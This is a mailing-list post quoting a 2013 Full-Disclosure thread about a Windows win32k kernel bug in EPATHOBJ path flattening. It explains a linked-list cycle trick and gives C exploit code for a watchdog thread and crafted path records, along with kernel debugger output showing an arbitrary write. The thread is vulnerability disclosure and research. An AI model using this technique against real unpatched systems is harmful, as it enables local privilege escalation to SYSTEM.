Hey Tavis, very interesting work! You're right: the list ist getting worse every year. So keep going!!!
2013/5/20 Tavis Ormandy <[email protected]> > On Fri, May 17, 2013 at 05:44:58PM -0700, Tavis Ormandy wrote: > > On Fri, May 17, 2013 at 02:26:10PM -0700, Tavis Ormandy wrote: > > > > > > The question is how to get PATHALLOC() to succeed under memory > pressure so we > > > can make this exploitable, my first thought was have another thread > > > manipulating the free pool, but I can't figure out how to synchronize > > > that. Getting code execution should be trivial after this. > > > > > > I guess it's possible to just race it until we win, but this seems > like an > > > inelegant solution. Anyone have any ideas? > > > > > > > Ahh, I just realised a really cute trick, we can make PATHREC->next > > point to the same userspace PATHREC, and EPATHOBJ::bFlatten will spin > > forever traversing an infinite linked list. > > > > i.e. > > > > PathRecord->next = PathRecord; > > > > While it's spinning, another thread can clean up the pool, then patch > > the listnode (because it's in userspace), to break into pprFlattenRec! > > Turning this into a clean write-what-where should be trivial. > > > > Anyone want to volunteer to write it up over the weekend? :) > > > > Tavis. > > I guess I'm talking to myself, maybe this list is all about XSS now ;) > > I'm quite proud of this list cycle trick, here's how to turn it into an > arbitrary write. > > First, we create a watchdog thread that will patch the list atomically > when we're ready. This is needed because we can't exploit the bug while > HeavyAllocPool is failing, because of the early exit in pprFlattenRec: > > .text:BFA122B8 call newpathrec ; > EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) > .text:BFA122BD cmp eax, 1 ; Check for > failure > .text:BFA122C0 jz short continue > .text:BFA122C2 xor eax, eax ; Exit early > .text:BFA122C4 jmp early_exit > > So we create a list node like this: > > PathRecord->Next = PathRecord; > PathRecord->Flags = 0; > > Then EPATHOBJ::bFlatten() spins forever doing nothing: > > BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) > { > /* ... */ > > for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) > { > if ( ppr->flags & PD_BEZIER ) > { > ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); > } > } > > /* ... */ > } > > While it's spinning, we clean up in another thread, then patch the thread > (we > can do this, because it's now in userspace) to trigger the exploit. The > first > block of pprFlattenRec does something like this: > > if ( pprNew->pprPrev ) > pprNew->pprPrev->pprnext = pprNew; > > Let's make that write to 0xCCCCCCCC. > > DWORD WINAPI WatchdogThread(LPVOID Parameter) > { > > // This routine waits for a mutex object to timeout, then patches the > // compromised linked list to point to an exploit. We need to do this. > LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p", > GetCurrentThreadId(), > Mutex); > > if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { > // It looks like the main thread is stuck in a call to > FlattenPath(), > // because the kernel is spinning in EPATHOBJ::bFlatten(). We can > clean > // up, and then patch the list to trigger our exploit. > while (NumRegion--) > DeleteObject(Regions[NumRegion]); > > LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", > &PathRecord->next, &ExploitRecord); > > InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); > > } else { > LogMessage(L_ERROR, "Mutex object did not timeout, list not > patched"); > } > > return 0; > } > > PathRecord->next = PathRecord; > PathRecord->prev = (PVOID)(0x42424242); > PathRecord->flags = 0; > > ExploitRecord.next = NULL; > ExploitRecord.prev = 0xCCCCCCCC; > ExploitRecord.flags = PD_BEZIERS; > > Here's the output on Windows 8: > > kd> g > > ******************************************************************************* > * > * > * Bugcheck Analysis > * > * > * > > ******************************************************************************* > > Use !analyze -v to get detailed debugging information. > > BugCheck 50, {cccccccc, 1, 8f18972e, 2} > > *** WARNING: Unable to verify checksum for ComplexPath.exe > *** ERROR: Module load completed but symbols could not be loaded for > ComplexPath.exe > Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) > > Followup: MachineOwner > --------- > > nt!RtlpBreakWithStatusInstruction: > 810f46f4 cc int 3 > kd> kv > ChildEBP RetAddr Args to Child > a03ab494 8111c87d 00000003 c17b60e1 cccccccc > nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) > a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c > (FPO: [Non-Fpo]) > a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: > [6,239,4]) > a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 > a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 > a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? > ::FNODOBFM::`string'+0x31868 > a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: > [4,37,4]) > a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] > TrapFrame @ a03aba2c) > a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 > win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) > a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 > win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) > a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 > (FPO: [1,15,4]) > a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c > (FPO: [0,3] TrapFrame @ a03abc14) > 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet > (FPO: [0,0,0]) > 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa > (FPO: [1,0,0]) > WARNING: Stack unwind information not available. Following frames may be > wrong. > 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f > 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade > 0016fd6c 77716911 7f0de000 bc1d7832 00000000 > KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) > 0016fdb0 777168bd ffffffff 7778560a 00000000 > ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) > 0016fdc0 00000000 01241b5b 7f0de000 00000000 > ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) > kd> .trap a03aba2c > ErrCode = 00000002 > eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 > edi=a03abbd8 > eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe > nc > cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 > efl=00010286 > win32k!EPATHOBJ::pprFlattenRec+0x82: > 8f18972e 8918 mov dword ptr [eax],ebx > ds:0023:cccccccc=???????? > kd> vertarget > Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible > Product: WinNt, suite: TerminalServer SingleUserTS > Built by: 9200.16581.x86fre.win8_gdr.130410-1505 > Machine Name: > Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 > Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) > System Uptime: 0 days 0:02:30.432 > kd> .bugcheck > Bugcheck code 00000050 > Arguments cccccccc 00000001 8f18972e 00000002 > > Demo code attached. I have a working exploit that grants SYSTEM on all > currently supported versions of Windows. Code is available on request to > students from reputable schools. > > If nobody else on the list can figure out the final details, then I've > lost faith in the next generation ;) > > Tavis. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ >
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
